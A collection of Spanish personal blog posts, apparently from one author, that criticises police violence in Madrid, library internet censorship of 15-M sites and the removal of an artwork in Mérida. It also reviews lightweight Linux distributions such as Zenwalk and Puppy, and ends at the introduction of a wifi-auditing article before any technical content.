Si... son Funcionarios Públicos Uniformados y Armados...

...pero a partir del minuto y treinta segundos en este vídeo esos funcionarios públicos que cobran sus salarios del erario; esos a los que los ciudadanos pagan unos uniformes y unas armas para que ejerzan el monopolio de la violencia cuando sea estrictamente necesario, siempre en defensa de los ciudadanos y respetanto la Ley... parecen convertirse en algo más parecido a una banda de hooligans británicos recorriendo las calles de Madrid después de que su equipo haya perdido el partido de fútbol. La diferencia es que estos hooligans no parecen borrachos; se comportan como macarras, abusando de su número, de su uniforme, de sus armas, de la autoridad que los ciudadanos han depositado en ellos, del respeto que a la mayoría de la ciudadanía inspiran los agentes de la autoridad y del "miedo".

Es inaudito si... pero estas imágenes muestran como algunos policías españoles de las unidades UIP (también conocidos como antidisturbios); se pasean por una calle del centro de la capital de España como una pandilla de chulos de piscina; apartando a los turistas y con actitudes amenazantes hacia el resto de los viandantes.
En un momento determinado; se puede apreciar de forma clara y meridiana, como el que lleva la voz cantante, ordena a los otros hacer una fila, se dirige a una pareja de jóvenes que está parada en un portal y abofetea a la chica mientras la insulta. La chica no se lo puede creer (mucha gente tampoco hasta que vio este vídeo...) e intenta revelarse contra una situación que le parece kafkiana, sus frases cortas lo dicen todo. El chico que estaba con ella logra a duras penas llevársela de allí, no sin antes recibir, por la espalda, algunos porrazos de dos de los compañeros del delincuente (a estas alturas del vídeo este policía ya ha infringido varias leyes) que les dirige.

Este individuo después de abofetear a la chica; sale del encuadre hacia la derecha de la imagen, un poco más avanzado el vídeo se puede observar para qué. Aparece de nuevo con dos de sus compinches agrediendo a un fotógrafo que consigue levantarse un par de veces pero que con más golpes dejan tirado en el suelo mientras se alejan amenazándole. En unos segundos consigue levantarse y recoger una cámara fotográfica (grande, parece una reflex...) y salir del lugar. Los que graban el vídeo, probablemente con un smartphone siguen al joven fotógrafo y le preguntan si necesita ayuda, mientras él balbucea mirando continuamente hacia atrás... dice que es fotógrafo de prensa... y este es otro delito que se suma a los que ya venía cometiendo la pandilla de uniformados con patente de corso: impedir la libertad de información por parte de un profesional al que ellos mismos (según las palabras y la denuncia que el fotógrafo ha interpuesto en el juzgado) habían indicado que se situase detrás e ellos, tras identificarle como fotógrafo de un medio de comunicación.

Y yo me pregunto... De verdad pueden saltarse las leyes que están obligados a conocer y hacer respetar, con semejante impunidad ?? De verdad pueden ignorar los Derechos Fundamentales que la Constitución Española garantiza a los ciudadanos, y que nadie les pida cuentas?? Donde están los fiscales?? Donde están los jueces?? Donde los magistrados?? Es que esos funcionarios a los que pagamos (muy bien, por cierto) para adninistrar Justicia y sancionar a los que incumplen la Ley, no van a hacer nada??

Donde están esos jueces instructores y fiscales que actúan de oficio cuando en Internet aparece un vídeo en el que unos pederastas abusan o violan a menores de edad?? Sòlo actúan de oficio cuando los delitos que aparecen en los vídeos son contra la libertad sexual?? Si se trata de acciones que conculcan los más básicos Derechos Fundamentales de los ciudadanos, las columnas sobre las que se asienta la Democracia, no tienen el deber de actuar sin necesidad de que nadie denuncie este tipo de agresiones y delitos?? Es que acaso los vídeos (como este... hay más) no son lo suficientemente explícitos.

A mi me parecen pura pornografía. Estos funcionarios públicos de uniforme y armados que aparecen en este vídeo; prostituyen la Constitución Española; la convierten en papel mojado; se ríen de los que luchamos mucho para conseguir ese texto y una Transición sin violencia y no merecen llevar el uniforme que llevan. Creo que ha llegado el momento de que alguien con suficiente autoridad y sentido de la ética (y de la vergüenza) se los quite y los envíe a vigilar polígonos industriales, si es que pasan el examen de seguratas*.

Prohibido Prohibir...

Solo han pasado dos días desde que denunciamos el veto a diversas webs de activismo social, impuesto por el Ayuntamiento de Madrid a los usuarios de las bibliotecas municipales, y ya ha sido retirado. Mi ética me impide no recoger también esta rectificación aquí y ahora.

Eso si, las aclaraciones que aparecen en un comunicado del Ayuntamiento de Madrid; a parte de admitir algo que por otro lado no había forma de negar, echan balones fuera e intentan descargar sus responsabilidades en un "fabricante" de un "filtro de contenidos". Un software que, por lo que se ve, compran a Telefónica y sobre el que los administradores de redes del Ayuntamiento de Madrid no tienen control ¿¡!?; aunque si pueden "establecer excepciones".

Es decir, que Juan Bravo, concejal de Hacienda y Administración, paga (del erario...) a la empresa privada Telefónica por un programa de software
(y/o hardware) que esta corporación compra a una tercera empresa. Y hasta ahí todo podría ser correcto (si dejamos a un lado las relaciones demasiado amistosas de su partido con esta empresa en particular...); pero es que este software no es un programa cualquiera, se trata del software que, además de de guardar un caché de las webs más visitadas (una especie de directorio que guarda las webs que va actualizando cada cierto tiempo, lo cual acelera el acceso a esos sitios) contiene código de filtrado "Blue Coat Proxy SG810". Este programa "bloquea sitios web por contenidos" y, por lo que dice el concejal, el Ayuntamiento de Madrid no estaba informado de todos los contenidos que ese filtro bloqueaba. Y esto ya no es admisible, porque una institución pública ha de estar al tanto de las restricciones a las que somete a sus ciudadanos; entre otras cosas porque algunas, como en este caso, pueden ser ilegales.

El filtro en cuestión se contrató para bloquear algunos contenidos y que desde las computadoras de las bibliotecas públicas del Ayuntamiento de Madrid no se pueda acceder a: webs de sexo, violencia, armas , blogs, etc.. Y aquí encontramos más generalidades difíciles de admitir. Está bien que se bloqueen los contenidos pornográficos (que no es lo mismo que el genérico sexo), violentos, xenófobos (estaría bien añadir los contenidos homófobos...), e incluso se puede admitir que en las bibliotecas públicas se bloqueen las webs de "armas" ya que es difícil discriminar las que son simples catálogos de armas, información sobre armas (entonces habría que bloquear la propia Wikipedia...). En cuanto a los blogs, se puede admitir que se bloqueen los que ofrezcan contenidos como los mencionados anteriormente, pero ninguno más, porque existe el Derecho a la Libre Expresión y la mayoría de los blogs son precisamente eso, expresión libre de pensamientos y opiniones.

También se bloquean sitios que ofrecen streaming como Youtube, intercambio de archivos en redes P2P (peer to peer) o mensajería como Skype. Y esto puede ser admisible incluso desde el punto de vista técnico. Si media docena de usuarios se dedican a ver vídeos en Youtube pueden ocupar una buena parte del ancho de banda disponible y ralentizar la carga de otros contenidos a otros usuarios. Por otro lado para usar servicios como Skype, una biblioteca pública no es el lugar más adecuado; no es un Cyber Café. Y en cuanto a las redes p2p, el propio nombre "sugiere" que se trata de compartir archivos personales y quizá lo mejor sea hacerlo desde una conexión privada.

El problema ha surgido, aparte de por la falta de control del Ayuntamiento de Madrid sobre los productos que compra y/o los servicios por los que paga; porque este programa, además, filtraba otro tipo de contenidos que probablemente en el país donde escribieron el código, sea normal restringir, pero en España no. Así, según el comunicado del Ayuntamiento de Madrid, el Blue Coat Proxy SG810 también bloqueaba: "Sitios patrocinados por o que proporcionan información sobre partidos políticos, grupos de interés especiales, o cualquier organización que promueve el cambio o la reforma en la política pública, la opinión pública, la práctica social, o actividades económicas". En España no está prohibido que los partidos políticos tengan webs de promoción, ni que otras webs proporcionen información sobre partidos políticos y otros grupos de interés "especial" (la Iglesia Católica, quizá) ¿¡!? En España es lícito que cualquier organización (que debe estar legalmente registrada...) promueva cambios y reformas de la política pública, la práctica social y las actividades económicas.

Blue Coat Proxy SG810, "Apoderado Capa Azul" contiene un código de filtrado que parece estar hecho para ser usado en países como China, Irán, Arabia Saudí, Libia, Corea del Norte, Cuba o incluso EEUU. Pero algunos de los filtros y bloqueos que incluye en su "lista negra", en España "aún" no pueden ser aplicados sin lesionar derechos fundamentales de los ciudadanos, recogidos en la Constitución Española de 1978.

Por otro lado, haría bien el Ayuntamiento de Madrid en no pagar a Telefónica por hardware y/o software americano (entre 5000€ y 7000€) cuando ese mismo filtrado se puede hacer un servidor proxy caché Squid y unas pocas docenas de reglas de IPtables; que es software libre y abierto sobre el que los administradores de redes del consistorio si tendrían el control y además podrían acelerar bastante el acceso a Internet desde las bibliotecas municipales.

Prohibido prohibir ¿?

Cuatro días después de la publicación de anterior post, relacionado con la Junta de Extremadura; me veo en la obligación de subir otro, relacionado con le violación de Derechos Constitucionales por parte de instituciones públicas. En este caso es el Ayuntamiento de Madrid (es decir, sus actuales dirigentes) quien "se pasa por donde ya dijimos o0" el artículo 20 de la Constitución Española, que establece y protege la Libertad de Expresión. Concretamente los apartados 20.2 y 20.4 que dicen respectivamente: 

- El ejercicio de estos derechos no puede restringirse mediante ningún tipo de censura previa.

- Estas libertades tienen su límite en el respeto a los derechos reconocidos en este Título, en los preceptos de las Leyes que lo desarrollan y, especialmente, en el derecho al honor, a la intimidad, a la propia imagen y a la protección de la juventud y de la infancia.


Me encuentro con esta entrada en la web www.kaosenlared.net :

[Democracia a la Madrileña] Madrid: Veto a las webs del 15-M en las bibliotecas municipales

"Acceso denegado por política de contenidos. Usted está intentando acceder a contenidos no permitidos". El mensaje aparece en la pantalla de los ordenadores de las bibliotecas públicas municipales al introducir cualquier dirección de Internet relacionada con el Movimiento 15-M. El sistema no permite entrar en Tomalaplaza.net, el portal desde el que los indignados informan de todas sus actividades, como tampoco en Democraciarealya.es o Tomalosbarrios.net, otras de las páginas web donde dan cuenta de las iniciativas del Movimiento: cualquier dominio que tenga que ver con la indignación está vetado. Para el Ayuntamiento de Madrid el 15-M es un contenido "no permitido".

Y emulando a sus compañeros de partido en la Junta de Extremadura, en cara dura, consiguen superarlos al pretender hacernos creer que:

"No hay ninguna intencionalidad detrás".

Y a continuación descargan la responsabilidad en los administradores de sistemas que se encargan de esas computadoras:

"El servicio de informática establece una serie de filtros de acceso a Internet, bien por contenidos inapropiados, como sexo o descarga ilegal de archivos; o por seguridad, y en este caso por el motivo que sea ha afectado a estas páginas".

Sin embargo otras webs como madrilonia.org, que informa del veto a los indignados con el título de "Ver para creer: el Ayuntamiento de Madrid censura al 15-M en Internet" también se ven afectadas por el mismo filtro: "Acceso denegado por política de contenidos".

Una trabajadora de una de esas bibliotecas municipales dice: "Se bloquean cosas muy extrañas, esta semana una mujer francesa me contó que no le dejaba acceder a la página de una asociación cubana" ¿¡!?

Y cuando se pregunta a los responsables municipales cuando se solucionarán este tipo de censuras, afirman: "No podemos hacer caso a cada usuario que se queje porque no accede a uno u otro sitio".

Por lo que he podido saber, tampoco en esta ocasión "nadie" se ha acercado a un Juzgado de Guardia para presentar una denuncia individual o colectiva contra el consistorio de la capital de España; por violación de derechos fundamentales recogidos y protegidos por la Constitución Española.

Resulta indignante la imposición de una "censura previa" por parte de una institución pública sobre contenidos que no están entre los que recoge la Constitución Española que puedan ser previamente censurados y siempre con una orden de una instancia Judicial de por medio. Y ya, lo que aparece como paradójico es que el Ayuntamiento de Madrid (la capital de un estado democrático...) censure el acceso a webs de asociaciones de Cuba (un país no democrático). Se darán cuenta de que en realidad están aplicando los mismos métodos que el régimen castrista ??

Nota: la información original apareció en el diario El País

¿ Y qué hacemos con el artículo 20 de la Constitución Española ?

El artículo 20 de la Constitución Española en su artículo 20.1 (apartados a, b, c, y d) dice:
- Se reconocen y protegen los derechos:
. A expresar y difundir libremente los pensamientos, ideas y opiniones mediante la palabra, el escrito o cualquier otro medio de reproducción.
.  A la producción y creación literaria, artística, científica y técnica.
.  A la libertad de cátedra.
.  A comunicar o recibir libremente información veraz por cualquier medio de difusión. La Ley regulará el derecho a la cláusula de conciencia y al secreto profesional en el ejercicio de estas libertades.

En el artículo 20.2 establece:
- El ejercicio de estos derechos no puede restringirse mediante ningún tipo de censura previa.

Y en el artículo 22.4 "insiste":
- Estas libertades tienen su límite en el respeto a los derechos reconocidos en este Título, en los preceptos de las Leyes que lo desarrollan y, especialmente, en el derecho al honor, a la intimidad, a la propia imagen y a la protección de la juventud y de la infancia.

Ahora vamos a ver si en este marco se puede "encajar" de alguna forma la decisión de la Dirección del Festival de Mérida al retirar una foto de la exposición Camerinos, en concreto un retrato del actor Asier Etxeandía caracterizado de Jesucristo, tras recibir varios correos de ciudadanos que consideraban que atentaba contra la sensibilidad cristiana.

Dicen  la directora del festival, Blanca Portillo, y su adjunta, Chusa Martín, en una carta dirigida a los medios en la que se hace eco de la retirada del retrato por los correos electrónicos que han recibido de algunos ciudadanos.

Estas dos señoras dicen haber considerado oportuna la retirada del retrato de Etxeandía, hecho minutos antes de salir a escena en una representación de Infierno, una versión del esloveno Tomaz Pandur, sobre La divina comedia de Dante Allighieri, y aclaran que "en el ánimo del Festival jamás ha estado ni estará la intención de ofender, insultar ni vulnerar los derechos individuales o colectivos de nadie".

Eso si, a continuación especifican que "el arte es siempre y por encima de todo un espacio de libertad cuyo objetivo nunca es ofender sino mostrar y mover a la reflexión". Que la exposición fotográfica "Camerinos" no contiene precisamente una serie de posados o fotografías "compuestas" por el autor, sino que éste, simplemente se limita a ser espectador, observador del trabajo de los actores en sus camerinos.
Por tanto, explican que la foto retirada "simplemente recoge un hecho que estaba sucediendo en el momento en que un actor se estaba preparando para hacer su trabajo, un trabajo a las ordenes de un director de escena que es quien decide cómo se viste y se maquilla el personaje".
Portillo y Martín reconocen que retirar una pieza de una exposición "supone romper una línea de trabajo diseñada por el artista, lo cual es siempre una forma de destrucción de un discurso".

Y a continuación vienen las declaraciones que coronan la desfachatez que con tanta palabrería vacía han intentado justificar:

- No obstante, insisten en que "entendiendo todos los seres humanos tenemos legítimos derechos y en base a nuestro profundo respeto a ellos" han procedido a retirar la fotografía.

- Agradecen al artista Sergio Parra su colaboración y comprensión e insisten en que "el arte nunca tiene como objetivo ofender", por lo que lamentan profundamente que así haya sido percibido.

- También lamentan que las personas que no se sienten ofendidas por esa fotografía tengan que verse privadas de su contemplación, ya que, tras una encuesta realizada por el Festival, la Exposición Fotográfica "Camerinos" goza de la más alta valoración por el 95 por ciento de los encuestados.

Es decir; que entienden que como todos los seres humanos tienen "legítimos derechos y en base a su profundo respeto hacia ellos; ¡¡ han procedido a retirar la fotografía !! ... Pero, ¿ a qué legítimos derechos se refieren estas dos señoras ? Desde luego no a los que aparecen en el artículo 20 CE; porque, como se puede apreciar, con esta acción lo están vulnerando en toda regla.
Tampoco a los derechos del autor, por mucho que le agradezcan que haya "comprendido" y "colaborado" (¿ acaso, ante la decisión tomada, tenía otra alternativa ?, si claro pero eso, seguramente, le "condenaría a no exponer más en ese festival. Al menos mientras esté el mismo grupo político en el poder).
Y desde luego no han respetado los legítimos derechos (estos si según el mencionado artículo 20.1 apartado d) del 95% de las personas que, tras ser encuestadas, por la organización del propio festival; otorga la más alta valoración a la Exposición Fotográfica "Camerinos". Y aseguran que lamentan  "que las personas que no se sienten ofendidas por esa fotografía tengan que verse privadas de su contemplación". Y, insistiendo en su nulo respeto a unos derechos individuales y colectivos que dicen estar respetando; vulneran el artículo 20.2 CE, al impedir "mediante la imposición de una censura previa" que las personas que no han visto la fotografía retirada, puedan verla.

¿ Cómo se puede tener tanta cara ?; ¿ como se pueden invocar los "supuestos derechos de un grupo de personas (que en todo caso no está entre el 95% de los encuestados) a sentirse ofendidos por una fotografía, que además, no es una "composición", sino el retrato de un acto real en el marco de la representación de una obra como "Infierno" de de la creación "La divina comedia" de Dante Allighieri ? ¿ En que parte de la Constitución Española figura ese derecho individual o colectivo de las personas a sentirse ofendidas por una obra de arte ? ¿En que artículo de la CE o de cualquiera de las leyes que la desarrollan, figura ese derecho y sobre todo su preeminencia sobre los que aparecen en el artículo 20 CE ? ¿ Con qué derecho las dos responsables del Festival de Mérida; Blanca Portillo, y su adjunta, Chusa Martín, se atreven a limitar el derecho a la libertad de expresión de un autor y la libertad de todos a ver los resultados de ese derecho ? 


El haber sido nombradas por los actuales regidores de los destinos de la Junta de Extremadura, para dirigir el Festival de Mérida, no les faculta, ni a ellas ni a los cargos políticos (electos o no) ante los que responden; para vulnerar varios preceptos recogidos en la Constitución Española, en nombre de otros preceptos que se han inventado para dar satisfacción a un grupo de personas "sin duda ultra-católicas" que han exigido la retirada de una fotografía que por lo visto, ofende sus sentimientos religiosos. 

Si yo fuese extremeño, ya habría acudido al Juzgado de Guardia para presentar una denuncia (individual o colectiva) contra estas señoras; por vulneración flagrante de los legítimos Derechos Constitucionales recogidos al principio de esta amarga queja.

OS GNU y Linux para "viejos cacharros" y nuevos Netbooks

En esta web se comentan los aspectos más importantes de algunas distribuciones basadas en el kernel Linux y en software de GNU Debian o Slackware; probablemente la distribuciones GNU Linux más trabajadas, probadas y estables de entre todas las que existen. Aunque hay que añadir que la "venerable" Slackware, aunque es estable como una roca, siempre lo ha sido, no dispone de los miles de desarrolladores, empaquetadores, mantenedores y traductores; ni de los muchos miles de programas precompilados que están en los repositorios de Debian (disponibles para la mayoría de arquitecturas  de computadoras). De las que se comentan en este post, todas son distribuciones muy ligeras a la vez que "muy distintas" (apropiadas para netbooks y PCs antiguos) y algunas muy fáciles de instalar y usar.

La primera que llama mi atención es Elive Topaz 2.0 Basada en las fuentes de Debian y los manejadores de ventanas (no son escritorios propiamente dichos, aunque para la mayoría de usuarios tampoco importa demasiado) de Enlightenment; tanto la muy estable versión DR16, como la nueva (y aún en desarrollo) DR17. Con cualquiera de estos entornos gráficos la experiencia de usuario será inolvidable. 
 
Yo uso Enlightenment e16 desde 1996 aproximadamente y sólo en algunas ocasiones arranco mi entorno gráfico con XFCE (un escritorio bastante ligero); en todos estos años nunca he me ha dejado colgado y en muchos aspectos el DR16 sigue sin haber ser superado por los grandes escritorios como Gnome, KDE o el propio XFCE. Enlightenment tiene además la ventaja de "tirar muy poco de la RAM y hacer trabajar más el microprocesador". Por eso desempeña un buen papel en PCs antiguos con Pentium III y 128 MB de RAM y, últimamente, en los cada vez más populares netbooks.

La segunda es: Macpup derivada de Puppy Linux (y compatible con los respositirios de Ubuntu Lucid Lynx packages) ; quizá el OS basado en Linux más fácil y rápido de instalar y sobre todo de usar. Con Puppy Linux (cuya versión de instalación no llega a los 200MB), todo, absolutamente todo se pude hacer desde el entorno gráfico. Muy adecuada para netbooks y PCs antiguos o con poca RAM. Puppy se puede arrancar directamente desde CD o stick USB. Si se hace desde el CD en modo LIVE; una vez que esté cargada en memoria, se puede retirar el CD y utilizar el lector para acceder a cualquier otro CD o DVD. Puppy en experiencia de uso, es lo más parecido a Windows, pero con la ventaja de una mayor velocidad en máquinas con pocos recursos y la estabilidad y seguridad de un OS tipo Linux. Y en este caso con el gestor de ventanas e17 compilado para Puppy Linux desde los fuentes de Enlightenment.

¡ Manipulación !

 
Hoy me he sentido un poco más indignado que de costumbre al leer la definición que Promusicae (entidad de gestión de derechos de autor, similar a SGAE), ha publicado en un manual sobre el uso de Internet que se va a distribuir por los centros educativos de España. A continuación publico el texto del E-mail que hace unos minutos he enviado a la mencionada entidad. Y animo a todos los todos los blogers a hacer otro tanto.

TO: promusicae@promusicae.es

Como editor del blog HTTP://www.ankalima.blogspor.com; les reto a encontrar algún enlace a "contenidos sujetos a derechos de cualquier autor",que esté relacionado con su agencia o con SGAE.

Quiero hacerles llegar mi más profunda indignación con esta definición en la que de facto, me incluyen: "blog: abreviatura de web log, un diario o revista que se publica en Internet. Los blogs a menudo se utilizan para publicar enlaces a archivos que pueden ser copias ilegales de música, películas u otros ficheros multimedia".

De inmediato me pongo en contacto con las asociaciones de padres de alumnos, para debatir este grave asunto y conseguir que los profesores se abstengan de adoctrinar a nuestros hijos con semejante panfleto.

Aquellos que llevamos años pagando su canon, a pesar de usar nuestros blogs y demás recursos de Internet para expandir el uso de sistemas de código abierto, incluyendo siempre software y documentos bajo licencias GPL y CC, no sentíamos que esas pequeñas cantidades (del canon) que pagábamos cada vez que adquiríamos un cartucho de CDs, DVDs, Discos Duros o un simple Pen Drive, repercutieran demasiado en nuestra economía y lo pasábamos por alto. Pero en estos dos últimos años, gracias a sus amenazas, ataques y falacias, este sentimiento ha cambiado. Ahora, demasiado a menudo, nos sentimos indignados y estafados.

El Tribunal Europeo y la Audiencia Nacional han dicho que el canon es ilegal. No quiero que me lo devuelvan, que lo use Tedy Bautista para comprase vaselina. Pero textos como el que ustedes incluyen en esa guía atentan contra mi honor como persona, como usuario y promotor de software de código abierto y como consumidor. Además, insultan mi inteligencia.


Ningún tribunal español ha condenado a ninguna de las webs de enlaces que ustedes han denunciado. Qué esperan ? Que una ministra nos obligue a ver cine español y a comprar los CDs de sus músicos ?. Ni siquiera en una Democracia tan prostituida como la nuestra se puede obligar al pueblo a mantener a los "artistas" y a los que viven de ellos, es decir, ustedes, con el producto de una extorsión. Tendrán que trabajar de verdad, hacer contenidos de calidad, dejar de llamarnos ladrones y piratas antes de los títulos de crédito y en las contraportadas de sus CDs y DVDs, y entonces decidiremos si los consumimos o no. Internet ofrece muchas posibilidades y ustedes perdieron el primer tren.

A partir de ahora tienen unos cuantos enemigos más. Yo y todos aquellos a los que pueda explicar esta tropelía. Si fuesen medianamente inteligentes deberían saber que no pueden ganar una guerra digital con métodos medievales. Los consumidores no somos sus vasallos, a veces nos comportamos como tales, pero no lo somos y todo tiene un límite. Su tiempo ha terminado, ahora llega el tiempo en que los consumidores pueden escoger, y entre lo de ustedes y otros productos con precios más justos y servicios en streaming, la mayoría ya hemos escogido.

Un saludo

Zenwalk: Equilibrio

Nosotros, los antiguos, los llamados viejos; aprendimos con mucho esfuerzo, quizá con demasiado trastear y poca formación, formal. Avanzamos en un bosque que se iba espesando (a veces enmarañando); en el que se hablaban idiomas que muchos no conocíamos, por eso hubo que hacer un enorme esfuerzo en traducir manuales.

Hicimos, sobre todo, un gran esfuerzo de comunicación. Pasamos horas y horas enganchados a nuestras redes sociales (con modems muy, muy lentos). Por eso sabemos que no hay nada nuevo en Facebook, Twenty o twitter, salvo la exposición demasiado pública de perfiles con muchas imágenes y pocas palabras que aportan, las más de las veces, bastante confusión. Todo lo demás estaba ya en el viejo IRC, en los Newsgroups, en las Mail List y en las redes corporativas. La dificultad para enviar y recibir imágenes, desarrollaba la capacidad de lectura, la capacidad pedagógica, la imaginación y, desgraciadamente alejaba de Linux a un gran número de usuarios de PC poco dispuestos a invertir tanto tiempo y esfuerzo en un sistema operativo que, además, no facilitaba precisamente el juego. Pero como quiera que el tiempo ha pasado y no nos dimos por vencidos; el resultado de aquello es esto.

Ahora hemos de convivir un buen número de supervivientes de la vieja escuela; con nosotros mismos y nuestros ancestrales cabreos (no todos pensamos lo mismo ni mucho menos...) y con otros grupos de recién llegados que nada saben de aquellas batallas; que se han encontrado con muchos "sabores Linux" (como se denominan ahora las distribuciones) y ni siquiera son conscientes de estar en uno de los bandos de una guerra muy antigua, que no acabó.

Código Abierto o Código Cerrado; diferentes visiones de lo que ha de ser la gestión del conocimiento. Los nuevos poco han oído más allá de Ubuntu, Mandriva, Fedora y si acaso (los más geeks...), de Gentoo y ArchLinux. Pocos saben que significa BSD, Debian, Slackware, Red Hat, SuSe, y mucho menos Solaris, Aix, Xenix, HPUX, SCO, no digamos AS/400. Estas palabras son para ellos como chino.

Sin embargo, gracias a un grupo heterogéneo de personas con... digamos gusto por la restauración, y no hablo de los aficionados al buen comer y beber, que de todo hay; sino de ese tipo de personas, a veces muy jóvenes que, no encontrando en el mercado a pesar del exceso de oferta, un modelo de automóvil que por si mismo satisfaga sus expectativas; acaban gastando más dinero en restaurar un viejo WW Escarabajo fabricado en Alemania en los años 70/80 (o en Mexico o Brasil en los 80/90) para pasearse por este campus virtual, muy seguros de si mismos y de su máquina.

Y eso es precisamente Zenwalk, un viejo y sólido cacharro al que se le ha puesto una versión moderna del mismo motor, se le han añadido todas las tecnologías que antaño eran de uso exclusivamente "espacial". Este motor de ahora consume menos energía, produce menos residuos y nos lleva a donde queramos ir a una velocidad constante, con estabilidad probada y seguridad contrastada.

Esta es la nueva filosofía. El nuevo pensamiento que integra todo lo viejo (no gastemos tiempo y energía en reinventar la rueda...), en el que nos encontramos algunos de los antiguos con muchos de los de ahora. Aquellos que nos resistimos a ser asimilados por los nuevos dinosaurios porque aprendimos a perseverar luchando contra los viejos que también prometían ponerlo todo fácil, a cambio de que rengásemos de nuestros conocimientos, del control sobre nuestras máquinas y por tanto de nuestra libertad de elección y de pensamiento.

Que se desarrolle Zenwalk me reconcilia con las nuevas generaciones; distribuciones como esta pueden seguir siento instaladas con todas las garantías en las máquinas que seguramente hemos de donar a las ONG que trabajan en países con menos recursos, en los próximos diez años. Y esto me reconcilia con este mundo moderno que va mucho más aprisa de lo que nos podíamos imaginar quienes corríamos sistemas operativos "raros" en viejas máquinas hace casi veinte años.

Zenwalk 7.0 otra filosofía...

Leo en la lista de correo de Zenwalk un comentario de Michael Primrose en el que se lamenta y se muestra en desacuerdo con el hecho de que Zenwalk 7.0 sea una versión Especial Gnome. 
El Comentario de Michael me parece acertado en cuanto que reflexiona, con bastante lógica, cuando habla de "la reputación que Zenwalk ha alcanzado entre aquellos que han decidido usarla como escritorio". Es cierto que muchos eligieron esta distribución porque está basada en Slackware (y por lo tanto se le supone: solidez, estabilidad, rapidez, y sencillez, aunque esto último sea difícil de creer para quienes creen que Slackware es un distribución difícil de instalar y configurar); porque es pequeña; porque no instala media docena de programas para cada tarea (aunque una vez instalada con Netpkg es muy fácil instalar todo lo que se quiera o actualizarla); porque se instala y se configura en modo gráfico; y porque el instalador detecta el hardware de forma muy eficiente. Y no tanto por el escritorio XFCE (aunque también, sobre todo aquellos que no disponen de máquinas de última generación (recordemos aquí que, una máquina comprada hace cinco años, incluía 512MB o 1GB de RAM).
De hecho, junto a las versiones, Standard, Core y Live, siempre hubo una Gnome Edition.
No es que Michael pierda la sensatez y la lógica cuando dice que sería mejor mantener las versiones de corte (como la 7.0) con el escritorio XFCE, como seña de identidad de Zenwalk (en cuanto se quiere dar una imagen de OS ligero); lo que pasa es que resulta muy difícil escapar a las tendencias (y sobre todo a la vagancia del personal....). Es decir, hoy en día existen tantas posibilidades a la hora de escoger un Linux para el escritorio; me refiero a posibilidades "fáciles y rápidas" que es lo que prima en el consumo actual, incluido el software; que lo más habitual es que muchos escojan una versión de ubuntu (o basada en Ubuntu), porque hay tantas que ya pocos usuarios instalan una distribución básica (como era Debian en su día....) y después escogen entre las variadas posibilidades como escritorio o manejador de venanas.
A día de hoy, si alguien quiere un Linux sabor Debian con el escritorio E17, encontrará un CD o DVD de Ubuntu con ese Window Manager. Y si la quiere con XFCE también la encontrará, no digamos con KDE o Gnome. Y, así las cosas, para mantenerse un poco arriba en la tabla de Distrowatch (no nos engañemos, Distrowatch es como el EGM de las distribuciones Linux, y las que están muy abajo se instalan menos que las de arriba), ahora mismo Zenwalk está en el puesto 30 y bajando.
Entiendo al equipo de desarrollo de Zenwalk y también entiendo a Michael Primrose. Yo no uso Gnome, ni XFCE, en realidad sigo con el viejo Enlightenment (e16) porque me gusta, porque lo conozco y porque tengo una máquina con un buen "viejo procesador" y poca RAM para lo que exigen las nuevas versiones de Gnome. Pero entiendo las dos posturas y espero que este intercambio de opiniones sirva para mejorar Zenwalk y sobre todo para que aquellos que la desarrollan y mantienen puedan seguir haciéndolo, siendo fieles en lo posible a los objetivos que inspiraron a su creador Jean Philippe Guillemin: 

- Ser un OS simple y rápido.
- Proveer una aplicación para cada tarea.
- Ser un entorno de desarrollo completo. 
- Ser un OS tan pequeño que pueda ser distribuido en una imagen ISO de 508MB. 

Yo entendería perfectamente que alguno de estos objetivos variasen e incluso que se estableciesen otros. Y sobre todo entiendo que se pueden mantener estos en una versión y añadir o determinar otros para otras versiones de Zenwalk. Cualquier cosa menos desaparecer y dejar que "otros" monopolicen las mentes de aquellos que no la tienen borrada por "los otros".... (Microsoft, Oracle, IBM, Apple, Novel y otros monopolistas menos conocidos). 

Zenwalk; una Slackware para vagos ?

    O para gente que quiere poner un Linux en su escritorio sin preocuparse de lo que hay detrás...? quizá esta sea una mejor definición, aunque incompleta.
    El caso es que a mi regreso del "tercer mundo", después de más de cuatro años de mucho Unix, arranqué mi "viejo" portátil y allí estaban mis antiguas Slackware y FreeBSD.... había que actualizar.
    Me di una vuelta por DistroWatch a ver que se había cocido durante mi larga ausencia. Miré un poco, leí mucho y como no tenía, de momento, mucha intención de cambiar a otra cosa que no fuera Slack, decidí probar una nueva opción un poco minimalista que me atraía: Zenwalk 6.4 prometía una rápida instalación con lo necesario para "trabajar" de inmediato y algo que necesitaba mi anciano Toshiba Satellite del 2003: bajo consumo de recursos.
    Quería experimentar el nuevo kernel 2.6.33.4 con los drivers de mi ATI Radeon Mobility integrados; un nuevo servidor Xorg; nuevas versiones de casi todo y muchas aplicaciones que no conocía, como el wicd que me sorprendió gratamente y el gestor de paquetes netpkg que ya resuelve todas las dependencias (una asignatura pendiente en las aplicaciones nativas de Slackware....).
    El escritorio XFCE siempre me gustó, para empezar podía servir. No tardé ni una hora en hechar mano de mi viejo e16 al que añadí un lanzador tipo Mac OS X: wbar. La experiencia ha sido buena y decidí contarla pero; ahora no....

Auditoría wifi en FreeBSD y *Linux

Este documento puede ser copiado en cualquier otro sitio web siempre que se especifique el sitio original del documento en este caso http://www.ankalima.blogspot.com y el nombre del autor. Ha sido escrito con fines didácticos, como ayuda para todos aquellos que quieran asegurar* redes wifi. Algunas de las técnicas que se describen pueden se utilizadas con otros fines, el autor no se hace responsable de ello.

INTRODUCCIÓN

Cada día son más habituales las redes WIFI, sobre todo las mini-lan domésticas. Esto es debido a que las ISP (empresas que suministran el acceso a Internet), prefieren invertir en equipos informáticos que en equipos humanos. Esto es, prefieren regalar* al "nuevo cliente" un módem-router ADSL wifi y algunos discriminadores para sus terminales telefónicos, que tener que enviar un técnico a trastear la conexión al domicilio del cliente.

Con este material y un CDROM con algunas aplicaciones, el cliente puede instalar el mismo el módem-router, configurarlo (a veces con la ayuda de un teleoperador, de otra empresa contratada a tal efecto por la ISP), si necesidad de desplazamientos ni técnicos de redes, que siempre resultan más caros.
No es este el foro adecuado para discutir este proceder, que es muy discutible, por cuanto deja en manos del contratante una parte del servicio que debería de prestar la ISP. Porque además, me temo que esto del bricolaje informático es algo definitivo y el "hágaselo usted mismo, que nosotros le regalamos el material", no parece disgustar a los clientes.

CONSECUENCIAS

